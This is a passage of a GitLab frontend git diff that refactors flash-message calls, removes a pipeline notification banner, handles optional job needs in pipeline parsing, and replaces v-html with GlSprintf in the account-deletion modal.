- !this.callouts.includes(enumFeatureName)
- );
- },
- },
- methods: {
- handleClose() {
- this.dismissedAlert = true;
- try {
- this.$apollo.mutate({
- mutation: DismissPipelineGraphCallout,
- variables: {
- featureName,
- },
- });
- } catch {
- createFlash(__('There was a problem dismissing this notification.'));
- }
- },
- },
-};
-</script>
-<template>
- <gl-banner
- v-if="showBanner"
- :title="$options.i18n.title"
- :button-text="$options.i18n.buttonText"
- button-link="https://gitlab.com/gitlab-org/gitlab/-/issues/327688"
- variant="introduction"
- @close="handleClose"
- >
- <p>
- <gl-sprintf :message="$options.i18n.description">
- <template #link="{ content }">
- <gl-link :href="dagDocPath" target="_blank"> {{ content }}</gl-link>
- </template>
- <template #code="{ content }">
- <code>{{ content }}</code>
- </template>
- </gl-sprintf>
- </p>
- </gl-banner>
-</template>
diff --git a/app/assets/javascripts/pipelines/components/parsing_utils.js b/app/assets/javascripts/pipelines/components/parsing_utils.js
index 9d886e0e379..f1d9ced807b 100644
--- a/app/assets/javascripts/pipelines/components/parsing_utils.js
+++ b/app/assets/javascripts/pipelines/components/parsing_utils.js
@@ -55,28 +55,32 @@ export const createNodeDict = (nodes) => {
export const makeLinksFromNodes = (nodes, nodeDict) => {
const constantLinkValue = 10; // all links are the same weight
return nodes
- .map((group) => {
- return group.jobs.map((job) => {
- if (!job.needs) {
- return [];
- }
-
- return job.needs.map((needed) => {
- return {
- source: nodeDict[needed]?.name,
- target: group.name,
- value: constantLinkValue,
- };
- });
- });
- })
+ .map(({ jobs, name: groupName }) =>
+ jobs.map(({ needs = [] }) =>
+ needs.reduce((acc, needed) => {
+ // It's possible that we have an optional job, which
+ // is being needed by another job. In that scenario,
+ // the needed job doesn't exist, so we don't want to
+ // create link for it.
+ if (nodeDict[needed]?.name) {
+ acc.push({
+ source: nodeDict[needed].name,
+ target: groupName,
+ value: constantLinkValue,
+ });
+ }
+
+ return acc;
+ }, []),
+ ),
+ )
.flat(2);
};
export const getAllAncestors = (nodes, nodeDict) => {
const needs = nodes
.map((node) => {
- return nodeDict[node].needs || '';
+ return nodeDict[node]?.needs || '';
})
.flat()
.filter(Boolean);
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue b/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
index e9773f055a7..104a3caab4c 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
@@ -2,6 +2,7 @@
import { GlEmptyState, GlButton } from '@gitlab/ui';
import { startCodeQualityWalkthrough, track } from '~/code_quality_walkthrough/utils';
import GitlabExperiment from '~/experimentation/components/gitlab_experiment.vue';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
import { getExperimentData } from '~/experimentation/utils';
import { helpPagePath } from '~/helpers/help_page_helper';
import { s__ } from '~/locale';
@@ -13,7 +14,9 @@ export default {
description: s__(`Pipelines|GitLab CI/CD can automatically build,
test, and deploy your code. Let GitLab take care of time
consuming tasks, so you can spend more time creating.`),
- btnText: s__('Pipelines|Get started with CI/CD'),
+ aboutRunnersBtnText: s__('Pipelines|Learn about Runners'),
+ installRunnersBtnText: s__('Pipelines|Install GitLab Runners'),
+ getStartedBtnText: s__('Pipelines|Get started with CI/CD'),
codeQualityTitle: s__('Pipelines|Improve code quality with GitLab CI/CD'),
codeQualityDescription: s__(`Pipelines|To keep your codebase simple,
readable, and accessible to contributors, use GitLab CI/CD
@@ -42,6 +45,11 @@ export default {
required: false,
default: null,
},
+ ciRunnerSettingsPath: {
+ type: String,
+ required: false,
+ default: null,
+ },
},
computed: {
ciHelpPagePath() {
@@ -50,6 +58,12 @@ export default {
isPipelineEmptyStateTemplatesExperimentActive() {
return this.canSetCi && Boolean(getExperimentData('pipeline_empty_state_templates'));
},
+ isCodeQualityExperimentActive() {
+ return this.canSetCi && Boolean(getExperimentData('code_quality_walkthrough'));
+ },
+ isCiRunnerTemplatesExperimentActive() {
+ return this.canSetCi && Boolean(getExperimentData('ci_runner_templates'));
+ },
},
mounted() {
startCodeQualityWalkthrough();
@@ -58,6 +72,10 @@ export default {
trackClick() {
track('cta_clicked');
},
+ trackCiRunnerTemplatesClick(action) {
+ const tracking = new ExperimentTracking('ci_runner_templates');
+ tracking.event(action);
+ },
},
};
</script>
@@ -72,7 +90,7 @@ export default {
:title="$options.i18n.title"
:svg-path="emptyStateSvgPath"
:description="$options.i18n.description"
- :primary-button-text="$options.i18n.btnText"
+ :primary-button-text="$options.i18n.getStartedBtnText"
:primary-button-link="ciHelpPagePath"
/>
</template>
@@ -80,7 +98,7 @@ export default {
<pipelines-ci-templates />
</template>
</gitlab-experiment>
- <gitlab-experiment v-else-if="canSetCi" name="code_quality_walkthrough">
+ <gitlab-experiment v-else-if="isCodeQualityExperimentActive" name="code_quality_walkthrough">
<template #control>
<gl-empty-state
:title="$options.i18n.title"
@@ -89,7 +107,7 @@ export default {
>
<template #actions>
<gl-button :href="ciHelpPagePath" variant="confirm" @click="trackClick()">
- {{ $options.i18n.btnText }}
+ {{ $options.i18n.getStartedBtnText }}
</gl-button>
</template>
</gl-empty-state>
@@ -108,6 +126,57 @@ export default {
</gl-empty-state>
</template>
</gitlab-experiment>
+ <gitlab-experiment v-else-if="isCiRunnerTemplatesExperimentActive" name="ci_runner_templates">
+ <template #control>
+ <gl-empty-state
+ :title="$options.i18n.title"
+ :svg-path="emptyStateSvgPath"
+ :description="$options.i18n.description"
+ >
+ <template #actions>
+ <gl-button
+ :href="ciHelpPagePath"
+ variant="confirm"
+ @click="trackCiRunnerTemplatesClick('get_started_button_clicked')"
+ >
+ {{ $options.i18n.getStartedBtnText }}
+ </gl-button>
+ </template>
+ </gl-empty-state>
+ </template>
+ <template #candidate>
+ <gl-empty-state
+ :title="$options.i18n.title"
+ :svg-path="emptyStateSvgPath"
+ :description="$options.i18n.description"
+ >
+ <template #actions>
+ <gl-button
+ :href="ciRunnerSettingsPath"
+ variant="confirm"
+ @click="trackCiRunnerTemplatesClick('install_runners_button_clicked')"
+ >
+ {{ $options.i18n.installRunnersBtnText }}
+ </gl-button>
+ <gl-button
+ :href="ciHelpPagePath"
+ variant="default"
+ @click="trackCiRunnerTemplatesClick('learn_button_clicked')"
+ >
+ {{ $options.i18n.aboutRunnersBtnText }}
+ </gl-button>
+ </template>
+ </gl-empty-state>
+ </template>
+ </gitlab-experiment>
+ <gl-empty-state
+ v-else-if="canSetCi"
+ :title="$options.i18n.title"
+ :svg-path="emptyStateSvgPath"
+ :description="$options.i18n.description"
+ :primary-button-text="$options.i18n.getStartedBtnText"
+ :primary-button-link="ciHelpPagePath"
+ />
<gl-empty-state
v-else
title=""
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
index d39e120dc6c..52c8ef2cf26 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
@@ -56,6 +56,7 @@ export default {
<div class="pipeline-tags" data-testid="pipeline-url-table-cell">
<gl-link
:href="pipeline.path"
+ class="gl-text-decoration-underline"
data-testid="pipeline-url-link"
data-qa-selector="pipeline_url_link"
>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
index 0218cb2e1b8..8bb2657c161 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
@@ -1,7 +1,7 @@
<script>
import { GlEmptyState, GlIcon, GlLoadingIcon } from '@gitlab/ui';
import { isEqual } from 'lodash';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { getParameterByName } from '~/lib/utils/common_utils';
import { __, s__ } from '~/locale';
import NavigationTabs from '~/vue_shared/components/navigation_tabs.vue';
@@ -99,6 +99,11 @@ export default {
required: false,
default: null,
},
+ ciRunnerSettingsPath: {
+ type: String,
+ required: false,
+ default: null,
+ },
},
data() {
return {
@@ -249,11 +254,16 @@ export default {
.postAction(endpoint)
.then(() => {
this.isResetCacheButtonLoading = false;
- createFlash(s__('Pipelines|Project cache successfully reset.'), 'notice');
+ createFlash({
+ message: s__('Pipelines|Project cache successfully reset.'),
+ type: 'notice',
+ });
})
.catch(() => {
this.isResetCacheButtonLoading = false;
- createFlash(s__('Pipelines|Something went wrong while cleaning runners cache.'));
+ createFlash({
+ message: s__('Pipelines|Something went wrong while cleaning runners cache.'),
+ });
});
},
resetRequestData() {
@@ -278,7 +288,10 @@ export default {
}
if (!filter.type) {
- createFlash(RAW_TEXT_WARNING, 'warning');
+ createFlash({
+ message: RAW_TEXT_WARNING,
+ type: 'warning',
+ });
}
});
@@ -337,6 +350,7 @@ export default {
:empty-state-svg-path="emptyStateSvgPath"
:can-set-ci="canCreatePipeline"
:code-quality-page-path="codeQualityPagePath"
+ :ci-runner-settings-path="ciRunnerSettingsPath"
/>
<gl-empty-state
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue
index 20a232beb83..15ff7da35e1 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue
@@ -2,7 +2,7 @@
import { GlFilteredSearchToken, GlFilteredSearchSuggestion, GlLoadingIcon } from '@gitlab/ui';
import { debounce } from 'lodash';
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { FETCH_BRANCH_ERROR_MESSAGE, FILTER_PIPELINES_SEARCH_DELAY } from '../../../constants';
export default {
@@ -38,7 +38,9 @@ export default {
this.loading = false;
})
.catch((err) => {
- createFlash(FETCH_BRANCH_ERROR_MESSAGE);
+ createFlash({
+ message: FETCH_BRANCH_ERROR_MESSAGE,
+ });
this.loading = false;
throw err;
});
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue
index 4a8d89ebe37..af62c492748 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue
@@ -2,7 +2,7 @@
import { GlFilteredSearchToken, GlFilteredSearchSuggestion, GlLoadingIcon } from '@gitlab/ui';
import { debounce } from 'lodash';
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { FETCH_TAG_ERROR_MESSAGE, FILTER_PIPELINES_SEARCH_DELAY } from '../../../constants';
export default {
@@ -38,7 +38,9 @@ export default {
this.loading = false;
})
.catch((err) => {
- createFlash(FETCH_TAG_ERROR_MESSAGE);
+ createFlash({
+ message: FETCH_TAG_ERROR_MESSAGE,
+ });
this.loading = false;
throw err;
});
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue
index 3db5893b565..bc661f37493 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue
@@ -8,7 +8,7 @@ import {
} from '@gitlab/ui';
import { debounce } from 'lodash';
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import {
ANY_TRIGGER_AUTHOR,
FETCH_AUTHOR_ERROR_MESSAGE,
@@ -61,7 +61,9 @@ export default {
this.loading = false;
})
.catch((err) => {
- createFlash(FETCH_AUTHOR_ERROR_MESSAGE);
+ createFlash({
+ message: FETCH_AUTHOR_ERROR_MESSAGE,
+ });
this.loading = false;
throw err;
});
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
index 1b3f80b1f18..de8de651eea 100644
--- a/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
+++ b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
@@ -8,6 +8,7 @@ query getPipelineHeaderData($fullPath: ID!, $iid: ID!) {
cancelable
userPermissions {
destroyPipeline
+ updatePipeline
}
detailedStatus {
detailsPath
diff --git a/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js b/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
index d9c9289f66e..082d67c938c 100644
--- a/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
+++ b/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
@@ -1,5 +1,5 @@
import Visibility from 'visibilityjs';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { historyPushState, buildUrlWithCurrentLocation } from '~/lib/utils/common_utils';
import Poll from '~/lib/utils/poll';
import { __ } from '~/locale';
@@ -169,7 +169,11 @@ export default {
this.service
.postAction(endpoint)
.then(() => this.updateTable())
- .catch(() => createFlash(__('An error occurred while making the request.')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while making the request.'),
+ }),
+ );
},
/**
@@ -189,9 +193,11 @@ export default {
.runMRPipeline(options)
.then(() => this.updateTable())
.catch(() => {
- createFlash(
- __('An error occurred while trying to run a new pipeline for this merge request.'),
- );
+ createFlash({
+ message: __(
+ 'An error occurred while trying to run a new pipeline for this merge request.',
+ ),
+ });
})
.finally(() => this.store.toggleIsRunningPipeline(false));
},
diff --git a/app/assets/javascripts/pipelines/pipeline_details_bundle.js b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
index 911f40f4db3..9ab4753fec8 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_bundle.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
@@ -9,7 +9,6 @@ import GraphBundleMixin from './mixins/graph_pipeline_bundle_mixin';
import createDagApp from './pipeline_details_dag';
import { createPipelinesDetailApp } from './pipeline_details_graph';
import { createPipelineHeaderApp } from './pipeline_details_header';
-import { createPipelineNotificationApp } from './pipeline_details_notification';
import { apolloProvider } from './pipeline_shared_client';
import createTestReportsStore from './stores/test_reports';
import { reportToSentry } from './utils';
@@ -20,7 +19,6 @@ const SELECTORS = {
PIPELINE_DETAILS: '.js-pipeline-details-vue',
PIPELINE_GRAPH: '#js-pipeline-graph-vue',
PIPELINE_HEADER: '#js-pipeline-header-vue',
- PIPELINE_NOTIFICATION: '#js-pipeline-notification',
PIPELINE_TESTS: '#js-pipeline-tests-detail',
};
@@ -101,14 +99,6 @@ export default async function initPipelineDetailsBundle() {
Flash(__('An error occurred while loading a section of this page.'));
}
- if (gon.features.pipelineGraphLayersView) {
- try {
- createPipelineNotificationApp(SELECTORS.PIPELINE_NOTIFICATION, apolloProvider);
- } catch {
- Flash(__('An error occurred while loading a section of this page.'));
- }
- }
-
if (canShowNewPipelineDetails) {
try {
createPipelinesDetailApp(SELECTORS.PIPELINE_GRAPH, apolloProvider, dataset);
diff --git a/app/assets/javascripts/pipelines/pipeline_details_notification.js b/app/assets/javascripts/pipelines/pipeline_details_notification.js
deleted file mode 100644
index be234e8972d..00000000000
--- a/app/assets/javascripts/pipelines/pipeline_details_notification.js
+++ /dev/null
@@ -1,29 +0,0 @@
-import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import PipelineNotification from './components/notification/pipeline_notification.vue';
-
-Vue.use(VueApollo);
-
-export const createPipelineNotificationApp = (elSelector, apolloProvider) => {
- const el = document.querySelector(elSelector);
-
- if (!el) {
- return;
- }
-
- const { dagDocPath } = el?.dataset;
- // eslint-disable-next-line no-new
- new Vue({
- el,
- components: {
- PipelineNotification,
- },
- provide: {
- dagDocPath,
- },
- apolloProvider,
- render(createElement) {
- return createElement('pipeline-notification');
- },
- });
-};
diff --git a/app/assets/javascripts/pipelines/pipelines_index.js b/app/assets/javascripts/pipelines/pipelines_index.js
index c892311782c..925a96ea1aa 100644
--- a/app/assets/javascripts/pipelines/pipelines_index.js
+++ b/app/assets/javascripts/pipelines/pipelines_index.js
@@ -38,6 +38,7 @@ export const initPipelinesIndex = (selector = '#pipelines-list-vue') => {
projectId,
params,
codeQualityPagePath,
+ ciRunnerSettingsPath,
} = el.dataset;
return new Vue({
@@ -76,6 +77,7 @@ export const initPipelinesIndex = (selector = '#pipelines-list-vue') => {
projectId,
params: JSON.parse(params),
codeQualityPagePath,
+ ciRunnerSettingsPath,
},
});
},
diff --git a/app/assets/javascripts/pipelines/stores/test_reports/actions.js b/app/assets/javascripts/pipelines/stores/test_reports/actions.js
index 6de345233ae..7b28d48b5b6 100644
--- a/app/assets/javascripts/pipelines/stores/test_reports/actions.js
+++ b/app/assets/javascripts/pipelines/stores/test_reports/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { s__ } from '~/locale';
import * as types from './mutation_types';
@@ -12,7 +12,9 @@ export const fetchSummary = ({ state, commit, dispatch }) => {
commit(types.SET_SUMMARY, data);
})
.catch(() => {
- createFlash(s__('TestReports|There was an error fetching the summary.'));
+ createFlash({
+ message: s__('TestReports|There was an error fetching the summary.'),
+ });
})
.finally(() => {
dispatch('toggleLoading');
@@ -36,7 +38,9 @@ export const fetchTestSuite = ({ state, commit, dispatch }, index) => {
.get(state.suiteEndpoint, { params: { build_ids } })
.then(({ data }) => commit(types.SET_SUITE, { suite: data, index }))
.catch(() => {
- createFlash(s__('TestReports|There was an error fetching the test suite.'));
+ createFlash({
+ message: s__('TestReports|There was an error fetching the test suite.'),
+ });
})
.finally(() => {
dispatch('toggleLoading');
diff --git a/app/assets/javascripts/pipelines/utils.js b/app/assets/javascripts/pipelines/utils.js
index 800a363cada..02a9e5b7fc6 100644
--- a/app/assets/javascripts/pipelines/utils.js
+++ b/app/assets/javascripts/pipelines/utils.js
@@ -39,7 +39,13 @@ export const generateJobNeedsDict = (jobs = {}) => {
}
return jobs[jobName].needs
- .map((job) => {
+ .reduce((needsAcc, job) => {
+ // It's possible that a needs refer to an optional job
+ // that is not defined in which case we don't add that entry
+ if (!jobs[job]) {
+ return needsAcc;
+ }
+
// If we already have the needs of a job in the accumulator,
// then we use the memoized data instead of the recursive call
// to save some performance.
@@ -50,11 +56,11 @@ export const generateJobNeedsDict = (jobs = {}) => {
// to the list of `needs` to ensure we can properly reference it.
const group = jobs[job];
if (group.size > 1) {
- return [job, group.name, newNeeds];
+ return [...needsAcc, job, group.name, newNeeds];
}
- return [job, newNeeds];
- })
+ return [...needsAcc, job, newNeeds];
+ }, [])
.flat(Infinity);
};
diff --git a/app/assets/javascripts/profile/account/components/delete_account_modal.vue b/app/assets/javascripts/profile/account/components/delete_account_modal.vue
index 2336cb18cb5..17cbcabeedb 100644
--- a/app/assets/javascripts/profile/account/components/delete_account_modal.vue
+++ b/app/assets/javascripts/profile/account/components/delete_account_modal.vue
@@ -1,12 +1,12 @@
<script>
-/* eslint-disable vue/no-v-html */
-import { GlModal } from '@gitlab/ui';
+import { GlModal, GlSprintf } from '@gitlab/ui';
import csrf from '~/lib/utils/csrf';
-import { __, s__, sprintf } from '~/locale';
+import { __, s__ } from '~/locale';
export default {
components: {
GlModal,
+ GlSprintf,
},
props: {
actionUrl: {
@@ -32,33 +32,8 @@ export default {
csrfToken() {
return csrf.token;
},
- inputLabel() {
- let confirmationValue;
- if (this.confirmWithPassword) {
- confirmationValue = __('password');
- } else {
- confirmationValue = __('username');
- }
-
- confirmationValue = `<code>${confirmationValue}</code>`;
-
- return sprintf(
- s__('Profiles|Type your %{confirmationValue} to confirm:'),
- { confirmationValue },
- false,
- );
- },
- text() {
- return sprintf(
- s__(`Profiles|
-You are about to permanently delete %{yourAccount}, and all of the issues, merge requests, and groups linked to your account.
-Once you confirm %{deleteAccount}, it cannot be undone or recovered.`),
- {
- yourAccount: `<strong>${s__('Profiles|your account')}</strong>`,
- deleteAccount: `<strong>${s__('Profiles|Delete account')}</strong>`,
- },
- false,
- );
+ confirmationValue() {
+ return this.confirmWithPassword ? __('password') : __('username');
},
primaryProps() {
return {
@@ -90,6 +65,12 @@ Once you confirm %{deleteAccount}, it cannot be undone or recovered.`),
this.$refs.form.submit();
},
},
+ i18n: {
+ text: s__(`Profiles|
+You are about to permanently delete %{yourAccount}, and all of the issues, merge requests, and groups linked to your account.
+Once you confirm %{deleteAccount}, it cannot be undone or recovered.`),
+ inputLabel: s__('Profiles|Type your %{confirmationValue} to confirm:'),
+ },
};
</script>
@@ -102,13 +83,29 @@ Once you confirm %{deleteAccount}, it cannot be undone or recovered.`),
:ok-disabled="!canSubmit"
@primary="onSubmit"
>
- <p v-html="text"></p>
+ <p>
+ <gl-sprintf :message="$options.i18n.text">
+ <template #yourAccount>
+ <strong>{{ s__('Profiles|your account') }}</strong>
+ </template>
+
+ <template #deleteAccount>
+ <strong>{{ s__('Profiles|Delete account') }}</strong>
+ </template>
+ </gl-sprintf>
+ </p>
<form ref="form" :action="actionUrl" method="post">
<input type="hidden" name="_method" value="delete" />
<input :value="csrfToken" type="hidden" name="authenticity_token" />
- <p id="input-label" v-html="inputLabel"></p>
+ <p id="input-label">
+ <gl-sprintf :message="$options.i18n.inputLabel">
+ <template #confirmationValue>
+ <code>{{ confirmationValue }}</code>
+ </template>
+ </gl-sprintf>
+ </p>
<input
v-if="confirmWithPassword"
diff --git a/app/assets/javascripts/profile/account/components/update_username.vue b/app/assets/javascripts/profile/account/components/update_username.vue
index f18c4d8f03e..7917a9a75e0 100644
--- a/app/assets/javascripts/profile/account/components/update_username.vue
+++ b/app/assets/javascripts/profile/account/components/update_username.vue
@@ -1,7 +1,7 @@
<script>
import { GlSafeHtmlDirective as SafeHtml, GlButton, GlModal, GlModalDirective } from '@gitlab/ui';
import { escape } from 'lodash';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { s__, sprintf } from '~/locale';
@@ -85,15 +85,16 @@ Please update your Git repository remotes as soon as possible.`),
return axios
.put(this.actionUrl, putData)
.then((result) => {
- Flash(result.data.message, 'notice');
+ createFlash({ message: result.data.message, type: 'notice' });
this.username = username;
this.isRequestPending = false;
})
.catch((error) => {
- Flash(
- error?.response?.data?.message ||
+ createFlash({
+ message:
+ error?.response?.data?.message ||
s__('Profiles|An error occurred while updating your username, please try again.'),
- );
+ });
this.isRequestPending = false;
throw error;
});
diff --git a/app/assets/javascripts/profile/gl_crop.js b/app/assets/javascripts/profile/gl_crop.js
index afc78cbe78a..722f7d467a2 100644
--- a/app/assets/javascripts/profile/gl_crop.js
+++ b/app/assets/javascripts/profile/gl_crop.js
@@ -114,7 +114,9 @@ import { loadCSSFile } from '../lib/utils/css_utils';
}
onModalHide() {
- return this.modalCropImg.attr('src', '').cropper('destroy');
+ this.modalCropImg.attr('src', '').cropper('destroy');
+ const modalElement = document.querySelector('.modal-profile-crop');
+ if (modalElement) modalElement.remove();
}
onUploadImageBtnClick(e) {
diff --git a/app/assets/javascripts/projects/commit/components/form_modal.vue b/app/assets/javascripts/projects/commit/components/form_modal.vue
index 6eefa5f55e4..ec7d37644a8 100644
--- a/app/assets/javascripts/projects/commit/components/form_modal.vue
+++ b/app/assets/javascripts/projects/commit/components/form_modal.vue
@@ -3,7 +3,6 @@ import { GlModal, GlForm, GlFormCheckbox, GlSprintf, GlFormGroup } from '@gitlab
import { mapActions, mapState } from 'vuex';
import { BV_SHOW_MODAL } from '~/lib/utils/constants';
import csrf from '~/lib/utils/csrf';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import eventHub from '../event_hub';
import BranchesDropdown from './branches_dropdown.vue';
import ProjectsDropdown from './projects_dropdown.vue';
@@ -18,7 +17,6 @@ export default {
GlSprintf,
GlFormGroup,
},
- mixins: [glFeatureFlagsMixin()],
inject: {
prependedText: {
default: '',
@@ -116,7 +114,7 @@ export default {
<input type="hidden" name="authenticity_token" :value="$options.csrf.token" />
<gl-form-group
- v-if="glFeatures.pickIntoProject && isCherryPick"
+ v-if="isCherryPick"
:label="i18n.projectLabel"
label-for="start_project"
data-testid="dropdown-group"
diff --git a/app/assets/javascripts/projects/commits/store/actions.js b/app/assets/javascripts/projects/commits/store/actions.js
index 741dc20b1f1..795c293d14b 100644
--- a/app/assets/javascripts/projects/commits/store/actions.js
+++ b/app/assets/javascripts/projects/commits/store/actions.js
@@ -1,5 +1,5 @@
import * as Sentry from '@sentry/browser';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { joinPaths } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
@@ -13,7 +13,9 @@ export default {
commit(types.COMMITS_AUTHORS, authors);
},
receiveAuthorsError() {
- createFlash(__('An error occurred fetching the project authors.'));
+ createFlash({
+ message: __('An error occurred fetching the project authors.'),
+ });
},
fetchAuthors({ dispatch, state }, author = null) {
const { projectId } = state;
diff --git a/app/assets/javascripts/prometheus_alerts/components/reset_key.vue b/app/assets/javascripts/prometheus_alerts/components/reset_key.vue
index 1a07f5495a1..c1dae75801e 100644
--- a/app/assets/javascripts/prometheus_alerts/components/reset_key.vue
+++ b/app/assets/javascripts/prometheus_alerts/components/reset_key.vue
@@ -1,7 +1,7 @@
<script>
/* eslint-disable vue/no-v-html */
import { GlButton, GlFormGroup, GlFormInput, GlModal, GlModalDirective } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __, sprintf } from '~/locale';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
@@ -65,7 +65,9 @@ export default {
this.authorizationKey = res.data.token;
})
.catch(() => {
- createFlash(__('Failed to reset key. Please try again.'));
+ createFlash({
+ message: __('Failed to reset key. Please try again.'),
+ });
});
},
},
diff --git a/app/assets/javascripts/protected_branches/protected_branch_edit.js b/app/assets/javascripts/protected_branches/protected_branch_edit.js
index bd2694e0cf7..86273cfdda6 100644
--- a/app/assets/javascripts/protected_branches/protected_branch_edit.js
+++ b/app/assets/javascripts/protected_branches/protected_branch_edit.js
@@ -1,8 +1,8 @@
import { find } from 'lodash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import AccessDropdown from '~/projects/settings/access_dropdown';
-import { deprecatedCreateFlash as flash } from '../flash';
import { ACCESS_LEVELS, LEVEL_TYPES } from './constants';
export default class ProtectedBranchEdit {
@@ -64,7 +64,7 @@ export default class ProtectedBranchEdit {
})
.then(callback)
.catch(() => {
- flash(__('Failed to update branch!'));
+ createFlash({ message: __('Failed to update branch!') });
});
}
@@ -131,7 +131,7 @@ export default class ProtectedBranchEdit {
.catch(() => {
this.$allowedToMergeDropdown.enable();
this.$allowedToPushDropdown.enable();
- flash(__('Failed to update branch!'));
+ createFlash({ message: __('Failed to update branch!') });
});
}
diff --git a/app/assets/javascripts/registry/explorer/index.js b/app/assets/javascripts/registry/explorer/index.js
index f66839a74bf..1f82fd7f238 100644
--- a/app/assets/javascripts/registry/explorer/index.js
+++ b/app/assets/javascripts/registry/explorer/index.js
@@ -34,6 +34,7 @@ export default () => {
expirationPolicy,
isGroupPage,
isAdmin,
+ showCleanupPolicyOnAlert,
showUnfinishedTagCleanupCallout,
...config
} = el.dataset;
@@ -64,6 +65,7 @@ export default () => {
expirationPolicy: expirationPolicy ? JSON.parse(expirationPolicy) : undefined,
isGroupPage: parseBoolean(isGroupPage),
isAdmin: parseBoolean(isAdmin),
+ showCleanupPolicyOnAlert: parseBoolean(showCleanupPolicyOnAlert),
showUnfinishedTagCleanupCallout: parseBoolean(showUnfinishedTagCleanupCallout),
},
/* eslint-disable @gitlab/require-i18n-strings */
diff --git a/app/assets/javascripts/registry/explorer/pages/list.vue b/app/assets/javascripts/registry/explorer/pages/list.vue
index 589b88d7bbe..3c8790fa6e5 100644
--- a/app/assets/javascripts/registry/explorer/pages/list.vue
+++ b/app/assets/javascripts/registry/explorer/pages/list.vue
@@ -11,6 +11,7 @@ import {
import { get } from 'lodash';
import getContainerRepositoriesQuery from 'shared_queries/container_registry/get_container_repositories.query.graphql';
import createFlash from '~/flash';
+import CleanupPolicyEnabledAlert from '~/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue';
import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
import { extractFilterAndSorting } from '~/packages_and_registries/shared/utils';
import Tracking from '~/tracking';
@@ -61,6 +62,7 @@ export default {
RegistryHeader,
DeleteImage,
RegistrySearch,
+ CleanupPolicyEnabledAlert,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -283,6 +285,12 @@ export default {
</gl-sprintf>
</gl-alert>
+ <cleanup-policy-enabled-alert
+ v-if="config.showCleanupPolicyOnAlert"
+ :project-path="config.projectPath"
+ :cleanup-policies-settings-path="config.cleanupPoliciesSettingsPath"
+ />
+
<gl-empty-state
v-if="config.characterError"
:title="$options.i18n.CONNECTION_ERROR_TITLE"
diff --git a/app/assets/javascripts/related_issues/components/related_issues_root.vue b/app/assets/javascripts/related_issues/components/related_issues_root.vue
index c35a1ff0b63..7e2fda8495c 100644
--- a/app/assets/javascripts/related_issues/components/related_issues_root.vue
